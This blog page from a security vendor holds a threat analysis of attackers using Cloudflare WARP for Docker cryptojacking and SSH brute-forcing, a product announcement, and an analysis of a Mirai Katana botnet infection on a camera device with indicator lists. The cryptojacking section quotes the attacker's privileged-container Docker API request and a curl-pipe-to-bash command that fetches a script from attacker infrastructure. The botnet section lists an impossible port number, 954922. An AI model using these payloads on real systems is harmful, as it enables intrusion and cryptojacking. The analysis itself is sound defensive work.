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July 17, 2024

WARPscan: Cloudflare WARP Abused to Hijack Cloud Services

Cado Security (now a part of Darktrace) found attackers are abusing Cloudflare's WARP service, a free VPN, to launch attacks. WARP traffic often bypasses firewalls due to Cloudflare's trusted status, making it harder to detect. Campaigns like "SSWW" cryptojacking and SSH brute-forcing exploit this trust, highlighting a significant security risk for organizations.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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Nate Bill
Threat Researcher
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Jul 2024

Introduction: WARPscan

Researchers from Cado Security Labs (now part of Darktrace) have observed several recent campaigns making use of Cloudflare’s WARP[1] service in order to attack vulnerable internet-facing services. In this blog we will explain what Cloudflare WARP is, the implications for its use in opportunistic attacks, and provide a few case studies on real-world attacks taking advantage of WARP.

What is Cloudflare WARP?

Cloudflare WARP is effectively a Virtual Private Network (VPN) that uses Cloudflare’s international backbone to “optimize” user’s traffic. This is a free service, meaning anyone can download and use it for their own purposes. In practice, WARP just tunnels traffic to the nearest Cloudflare data center over a custom implementation of WireGuard, which they claim will speed up your connection.

Cloudflare WARP is designed to present the IP of the end user to Cloudflare CDN customers. However, attacks observed by Cado researchers exclusively connect directly to IP addresses rather than Cloudflare’s CDN, with the attacker in control of the transport and application layers. As such, it is not possible to determine the IP of the attackers.

Implications of attacks originating from WARP

Network administrators are far more likely to inherently trust or overlook traffic originating from Cloudflare’s ASN as it is not a common attack origin, and is often used in many organizations as a part of regular business operations. As a result of this, the IP ranges used by WARP may even be allowed in firewalls, and might be missed during triage of alerts by Security Operations Center (SOC) teams.

Cado Security has observed several threads on sysadmin forums, where network operators are advised to “allowlist” all of Cloudflare’s IP ranges instead of just those specific to a given service, which is a serious security risk that makes their infrastructure directly vulnerable to attackers using WARP to launch their attacks.

These factors make attacks using WARP potentially more dangerous unless an organization takes preventive action, such as educating security teams and ensuring WARP IP ranges are not included in Cloudflare related firewall rules.

Case study - SSWW mining campaign

The SSWW campaign is a novel cryptojacking campaign targeting exposed Docker which utilizes Cloudflare WARP for initial access. Based on the TLS certificate used by the C2 server, it would appear that the C2 was created on September 5, 2023. However, the first attack detected against Cado’s honeypot infrastructure was on February 21, 2024, which lines up with the dropped payload’s Last-Modified header of February 20, the day before. This is likely when the current campaign began.

IPv4 TCP (PA) 104.28.247.120:19736 -> redacted:2375 POST /containers/create 
HTTP/1.1 
Host: redacted:2375 
Accept-Encoding: identity 
User-Agent: Docker-Client/20.10.17 (linux) 
Content-Length: 245 
Content-Type: application/json 
{"Image": "61395b4c586da2b9b3b7ca903ea6a448e6783dfdd7f768ff2c1a0f3360aaba99", "Entrypoint": ["sleep", "3600"], "User": "root", "HostConfig": {"Binds": ["/:/h"], "NetworkMode": "host", "PidMode": "host", "Privileged": true, "UsernsMode": "host"}}  

The attack began with a container being created with elevated permissions, and access to the host. The image used is simply selected from images that are already available on the host, so the attacker does not have to download any new images.

The attacker then creates a Docker VND stream in order to run commands within the created container:

{"AttachStdout": true, "AttachStderr": true, "Privileged": true, "Cmd": ["chroot", "/h", "bash", "-c", "curl -k https://85[.]209.153.27:58282/ssww | bash"]}

This downloads the main SSWW script from the attacker’s command and control (C2) infrastructure and sets it running. The SSWW script is fairly straightforward and does the following set up tasks:

  • Attempts to stop “systemd” services that belong to competing miners.
  • Exits if the system is already infected by the SSWW campaign.
  • Disables “SELinux”.
  • Sets up huge pages and enables drop_caches, common XMRig optimizations
  • Downloads https://94[.]131.107.38:58282/sst, an XMRig miner with embedded config, and saves it as /var/spool/.system
  • Attempts to download and compile https://94[.]131.107.38:58282/phsd2.c, which is a simple off-the-shelf process hider designed to hide the .system process. If this fails, it will download https://94[.]131.107.38:58282/li instead. The resultant binary of either of these processes is saved to /usr/lib/libsystemd-shared-165.so
  • Adds the above to /etc/ld.so.preload such that it acts as a usermode rootkit.
  • Saves https://94[.]131.107.38:58282/aa82822, a SystemD unit file for running /var/spool/.system, to /lib/systemd/system/cdngdn.service, and then enables it.

The configuration file can be extracted out of the miner, and observe that it is using the wallet address:  44EP4MrMADSYSxmN7r2EERgqYBeB5EuJ3FBEzBrczBRZZFZ7cKotTR5airkvCm2uJ82nZHu8U3YXbDXnBviLj3er7XDnMhP on the monero ocean gulf mining pool. We can then use the mining pool’s wallet lookup feature to determine the attacker has made a total of 9.57 XMR (~£1269 at time of writing).

While using Cloudflare WARP affords the attacker a layer of anonymity, we can see the IPs the attacks originate from are consistently deriving from the Cloudflare data center in Zagreb, Croatia. As Cloudflare WARP will use the nearest data center, this suggests that the attacker’s scan server is located in Croatia. The C2 IPs on the other hand are hosted using a Netherlands-based VPS provider.

The main benefit to the attacker of using Cloudflare WARP is likely the relative anonymity afforded by WARP, as well as the reduced suspicion around traffic related to Cloudflare. It is possible that some improperly configured systems that allow all Cloudflare traffic have been compromised as a result of this, however, it is not possible to say with certainty without having access to all compromised hosts infected by the malware.

Case study - opportunistic SSH attacks

Since 2022, Cado Security has been tracking SSH attacks originating from WARP addresses. Initially these were fairly limited, however around the end of 2023 they surged to a few thousand per month. These frequently rise and fall with quite a high velocity, suggesting that the surges are the result of individual campaigns rather than a more general trend.

A screenshot of a graphAI-generated content may be incorrect.
Figure 1: SSH attacks originating from WARP addresses since the end of 2023

Interestingly, a number of SSH campaigns we have seen previously originating from commonly abused VPS providers now appear to have migrated to using Cloudflare WARP. As these VPS providers are soft on abuse, it is unlikely that the purpose of this was for anonymity. Instead, the attackers are likely trying to take advantage of Cloudflare’s “clean” IP ranges (many “dirty” ranges belonging to bulletproof hosting are blocklisted, e.g. by spamhaus [2]), as well as the higher likelihood of the Cloudflare ranges being overlooked or blindly allowed in the victim’s firewall.

All of the attacks seen so far from Cloudflare WARP appear to be simple SSH brute forcing attacks, however it is alleged that the recent CVE-2024-6387 is now being exploited in the wild [3]. An attacker could perform this exploit via Cloudflare WARP in order to take advantage of overly trusting firewalls to attack organizations that may not otherwise have the vulnerable SSH server exposed.

Conclusion

The main threat posed by attackers using Cloudflare’s WARP service is the inherent trust administrators may have in traffic originating from Cloudflare, and the dangerous advice to “allow all Cloudflare IPs” being circulated online. Ensure your organization has not granted permission for 104[.]28.0.0/16 in your firewall. Follow a defense in-depth approach and additionally ensure services such as SSH have strong authentication (via SSH keys instead of passwords) and are up-to-date. Do not expose Docker to the internet, even if it is behind a firewall.

References:

[1] https://one.one.one.one/

[2] https://www.spamhaus.org/blocklists/spamhaus-blocklist/

[3] https://veriti.ai/blog/regresshion-cve-2024-6387-a-targeted-exploit-in-the-wild/

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

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September 4, 2026

Darktrace Advances Incident Investigation and AI-Agent Security with OpenAI Daybreak Models

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Earlier this year, Darktrace joined OpenAI’s Daybreak Defense Network to explore how their cyber capabilities can be integrated within Darktrace products and services to transform how security teams move from signal to action.

At the heart of this work is Darktrace's behavioral understanding of customer environments and identification of complex security incidents, combined with OpenAI models that can add context to help explain why an incident matters and its potential impact on the business. By bringing these capabilities into defensive workflows security teams already use, the goal is to give defenders not just greater visibility, but the context and guidance they need to act with confidence.

Since joining the program, we've been working with OpenAI to explore how these capabilities can address specific security challenges for defenders.

The problem we're solving

Attackers continue to change how they operate, including by using AI to increase the speed and scale of some techniques. Security teams are already managing a large volume of alerts, and the question isn't just what's happening, but how it could affect the organization. Even when an incident is fully investigated and correlated, technical severity alone doesn't tell a security team how much it actually matters to the business. That same challenge extends to internal AI adoption. As organizations adopt more AI systems and agents, security teams need visibility into their behavior, access and activity, along with the broader business context needed to identify and investigate potential risk.

Darktrace's Adaptive AI™ builds a detailed, organization-specific picture of what's normal for each environment, and uses that picture to investigate threats and identify complex security activity across domains. OpenAI's models can build on Darktrace's correlated, technically prioritized incidents by adding context that can help defenders understand what may be at stake.

What we're building

Our work is focused on two areas: supporting security investigation and response, and helping defenders identify risky behavior across enterprise AI systems and agents.

The first aligns Darktrace's behavioral understanding with OpenAI models to support  security investigation and prioritization. Darktrace's Adaptive AI continuously learns the unique patterns of normal behavior within each customer it protects, creating a deep, organization-specific understanding of its digital estate. When unusual activity emerges, OpenAI's models can draw on that context to help analysts investigate the incident, understand its significance and assess potential business consequences — reducing the need to manually assemble context from fragmented signals.

Second, we are exploring how these capabilities can support AI-agent and runtime security through Darktrace / SECURE AI™. OpenAI’s Daybreak models can build on the detections and visibility Darktrace / SECURE AI provides, connecting signals across a customer's environment and help defenders identify potentially risky behavior involving AI systems and agents. Activity that might appear isolated can instead be connected with related signals, helping defenders investigate the broader context and determine appropriate remediation.

Darktrace brings deep cybersecurity expertise, an evolving understanding of each customer's environment, and AI-driven identification of threats across the digital estate. Through the Daybreak Defense Network, Darktrace is exploring how OpenAI models can augment those capabilities in defensive security workflows — supporting incident investigation and response and improving visibility into AI-agent and runtime risk.

These capabilities are still in development, and we're excited to continue building on this work.

To learn more about how Darktrace continues to innovate to meet today's most pressing security challenges, register for our upcoming launch broadcast here.

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September 4, 2026

Botnet Behind the Camera: Mirai Katana Activity on a Video Recording Device

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Key takeaways

  • Darktrace identified a camera device infected with the Mirai/Katana botnet in a sports-sector customer environment, showing how exposed IoT devices can become active participants in wider attack chains.
  • The compromise involved suspicious Wget behavior, file downloads from rare external IPs, unusual incoming HTTP connections to video recorder management interfaces, and large outbound data transfers to infrastructure associated with botnet activity.
  • The incident highlights the importance of extending visibility and response beyond traditional endpoints, as unmanaged or overlooked connected devices can be exploited for command-and-control, malware delivery, and data exfiltration.

Mirai and the Katana variant

Mirai is a botnet that first emerged in August 2016 and is well known for launching large-scale distributed-denial-of-service (DDoS) attacks, typically targeting exposed Internet of Things (IoT) devices. It identifies vulnerable IoT devices ,often by abusing default credentials or exposed services, and recruiting them into a remotely controlled botnet that can be used in DDoS campaigns [1].

Katana, one of the many variants that arose after Mirai’s source code was released publicly, was first observed in late 2020 and has been seen using more advanced capabilities, including custom command-and-control (C2), persistence mechanisms, and DDoS functionality [2].

In March 2026, research from the Nokia Deepfield Emergency Response Team (ERT) identified Katana as a Mirai-derived DDoS botnet targeting Android-based TV set-top boxes through exposed Android Debug Bridge (ADB) access.  Observed capabilities included custom C2, runtime domain rotation, multiple DDoS methods, and an on-device compiled kernel rootkit used for persistence and stealth [3].

Darktrace’s detection of Mirai Botnet activity on a camera device

In early 2026, Darktrace identified a Network/Digital Video Recorder (NVR/DVR) on the network of a sports-sector customer that had been infected with the Mirai Katana botnet and subsequently used to exfiltrate data from the customer’s environment. Seemingly related follow-up activity was observed on the same device several months later.

In both instances, the Darktrace Security Operations Centre (SOC) alerted the customer as part of the Managed Threat Detection (MTD) service. However, as Darktrace’s Autonomous Response capability was not fully enabled on the affected device, Darktrace was unable to proactively block the suspicious activity or prevent the compromise from continuing and recurring.

The initial compromise appears to have occurred when the affected device was seen using Wget to download Linux-based Executable and Linkable Format (ELF) files from a rare external IP, 195.177.94[.]105, which had not previously been observed in the customer’s network. Further analysis downloaded file hashes identified files related to the Mirai botnet.

Figure 1: Darktrace’s Real-Time AI Analyst investigation into the unusual outbound connection where the ELF files were downloaded.

Within a few hours, Darktrace detected the device uploading close to 3GB of data to another external IP, 50.7.49[.]4:3017 (ASN AS30058 FDCSERVERS), suggesting that the activity was likely routed via a virtual private server (VPS) hosted by FDC Servers [2]. Attackers often abuse VPS infrastructure from legitimate cloud providers to blend in with legitimate traffic and evade IP reputation and geolocation-based detections.

Figure 2:  Darktrace’s detection of the unusual data upload activity by the affected camera device.

Darktrace continued to observe similar data transfers to multiple rare endpoints  including 171.225.223[.]53, 95.161.128[.]62, 61.7.209[.]88, 95.161.128[.]62, which have been linked to Mirai by open-source intelligence (OSINT).

Figure 3: Darktrace’s detection of spikes in unusual external data transfer activity from the camera device.

Exploitation continued

Several months later, Darktrace identified the same exfiltration pattern on the device again, this time with stronger indications of associations with Mirai Katana botnet infection.

The device received incoming HTTP connections from 129.121.114[.]124, an external IP known to be associated with the Katana botnet IP [3]. The connections targeted the ‘/dvr/cmd’ path using the root username and user agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246.

The ‘/dvr/cmd’ path appears to be associated with the affected device’s web management functionality. This API endpoint has historically been targeted by Mirai and other IoT botnets through the exploitation of critical command injection vulnerabilities and automated botnet exploitation [4].

Figure 4: Darktrace’s  detection of HTTP connectivity from the external IP associated with Mirai Katana Botnet.

A few days later, Darktrace observed the Wget utility being used to download ELF files, including “/lil”,  from the IP 129.121.114[.]124. OSINT reporting has since associated this IP address with the Mirai Katana botnet. Notably, the IP observed earlier in the year, 195.177.94[.]105, had also hosted a file named “lil”, indicating a link between the observed activity.

Over the following days, the device received a sudden spike in connections from multiple rare external endpoints, suggesting a possible successful brute force attack. Darktrace also observed the device exfiltrating just under 4GB of data to another Mirai-associated IP address,  66.92.198[.]194, over ports 3344, 954922, and 80. Finally, the device was seen uploading data to the Mirai botnet IP 5.175.249[.]53 over port138 and exhibited an increase in UDP connections to 34.18.28[.]10 over port 9068.

Following both file download events, Darktrace identified spikes in external data transfers and connection attempts to rare destinations. While Darktrace’s Threat Research team could not confirm with high confidence that this to activity was directly associated with Mirai, it may indicate that Mirai Katana includes data exfiltration functionality.

Darktrace’s threat researchers also identified an internet-facing NTP server belonging to a separate customer receiving incoming connection attempts from the same initially observed IP, 195.177.94[.]105,over the port 123. This suggests that Mirai Katana may not exclusively target IoT devices.

Conclusion

This case demonstrates how threat actors can exploit overlooked IoT and OT devices to support broader malicious objectives. Here, a camera device infected with a botnet was used to exfiltrate data from the customer's environment, showing how peripheral assets can become active participants in an attack chain.

This case also reinforces a challenge many organizations face today: extending security visibility beyond traditional endpoints and servers. Cameras, sensors, and other connected devices often operate with limited monitoring and may fall outside established security processes, despite maintaining network connectivity and access to potentially sensitive environments. This is particularly relevant in the sports sector, where growing reliance on connected cameras, smart stadium technologies, and other IoT devices continues to expand the attack surface, as highlighted in Darktrace's Sports Sector Threat Report.

As botnets like Kata and Mirai continue to evolve, defenders need visibility across unmanaged IoT and edge devices, as well as security solutions that can recognize subtle deviations in device behavior that may indicate an emerging compromise.

Credit to Parvatha Ananthakannan (Cyber Analyst), Signe Zaharka (Principal Analyst)

Edited by Ryan Traill (Content Manager)

Appendices

Darktrace Model Detections

·      Anomalous File / EXE from Rare External Location

·      Anomalous File / Multiple EXE from Rare External Locations

·      Device / Initial Attack Chain Activity

·      Unusual Activity / Unusual External Data to New Endpoint

·      Anomalous Connection / Data Sent to Rare Domain

·      Unusual Activity / Enhanced Unusual External Data Transfer

·      Anomalous Connection / Uncommon 1 GiB Outbound

·      Device / Significant UDP Increase

·      Anomalous Connection / Low and Slow Exfiltration to IP

·      Compromise / Large Number of Suspicious Failed Connections

·      Compromise / Large Number of Suspicious Successful Connections

·      Unusual Activity / Unusual External Activity

·      Compliance / SSH to Rare External Destination

·      Unusual Activity / Unusual DNS

·      Device / External Network Scan

·      Device / Suspicious DNS Activity

·      Device / Large Number of Model Alerts

List of Indicators of Compromise (IoCs)

Indicator of Compromise Type Description
195.177.94[.]105 IP C2 endpoint
50.7.49[.]4:30171 IP Possible C2 endpoint
129.121.114[.]124 IP C2 endpoint
hxxp://195.177.94[.]105/n3 URL Likely C2 endpoint
hxxp://195.177.94[.]105/n2 URL Likely C2 endpoint
hxxp://129.121.114[.]124/lil URL Likely C2 endpoint
hxxp://129.121.114[.]124/HHn URL Possible C2 endpoint
hxxp://129.121.114[.]124/JFc URL Possible C2 endpoint
hxxp://129.121.114[.]124/jum URL Likely C2 endpoint
hxxp://129.121.114[.]124/OaSf URL Likely C2 endpoint
hxxp://129.121.114[.]124/OPWg URL Possible C2 endpoint
hxxp://129.121.114[.]124/vHwK URL Possible C2 endpoint
hxxp://129.121.114[.]124/VLv URL Possible C2 endpoint
hxxp://129.121.114[.]124/WbJ URL Possible C2 endpoint
hxxp://129.121.114[.]124/zkR URL Possible C2 endpoint
Ab17883ae4c3bc6afa18c439166eeeb4b03186e3093d984e3a95f573e0fcb7d8 SHA-256 Mirai payload
3d587e809dac49d34a3f717e072fd0aebe5e71db63333e45c81577d6b4266f87 SHA-256 Mirai payload
Bf6e81733a7e209d3dce80d15bf3c5d300752d961fae6b45d90c9bbe7f8c89a2 SHA-256 Possible payload
f25488303813ab1ec0eaa71562938601aac185e8aaf93adb84522557f7cf4dd6 SHA-256 Possible payload
0cb4ff6b71f4423184bfa35c34e9090297637208b0e30205d4b224e56abde2ef SHA-256 Possible payload
19c24cbeaf06b2e7697083f33a85521a9315105c784691bde7420fde4cc69410 SHA-256 Likely Mirai payload
1e74f734fff8df91f4f7172d0de10c421eca78aeb800e8a48e16bc5dbde5d20e SHA-256 Possible payload
6e71f7763d1f29d5712106ebb122e281c32787540aa2342b0fe5351d585d18d7 SHA-256 Possible payload
71f4ff7cdb6d6a7d2673c543c5d2535093afbd707b20a5b9ddf735466c1105c1 SHA-256 Possible payload
76db7ee73ebf15e48a3cb24a074d92248671ef2c6ed3bc3e708377341fb7674d SHA-256 Possible payload
da87a65f7beb438e61f0b61964fed8aa305a380f569042f84c55eca8fa7929b8 SHA-256 Possible payload
e15809eb6ba66477175270d62cfa53e4bf278595f69938708c81c4bc457930fe SHA-256 Mirai payload

MITRE ATT&CK Mapping

Tactic Technique ID Technique / Sub-technique
Initial Access T1659 Content Injection
T1189 Drive-by Compromise
Exfiltration T1041 Exfiltration Over C2 Channel
T1048.003 Exfiltration Over Unencrypted Non-C2 Protocol
Command and Control T1105 Ingress Tool Transfer
T1095 Non-Application Layer Protocol
T1571 Non-Standard Port
Reconnaissance T1595.001 Scanning IP Blocks
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About the author
Parvatha Ananthakannan
Cyber Analyst
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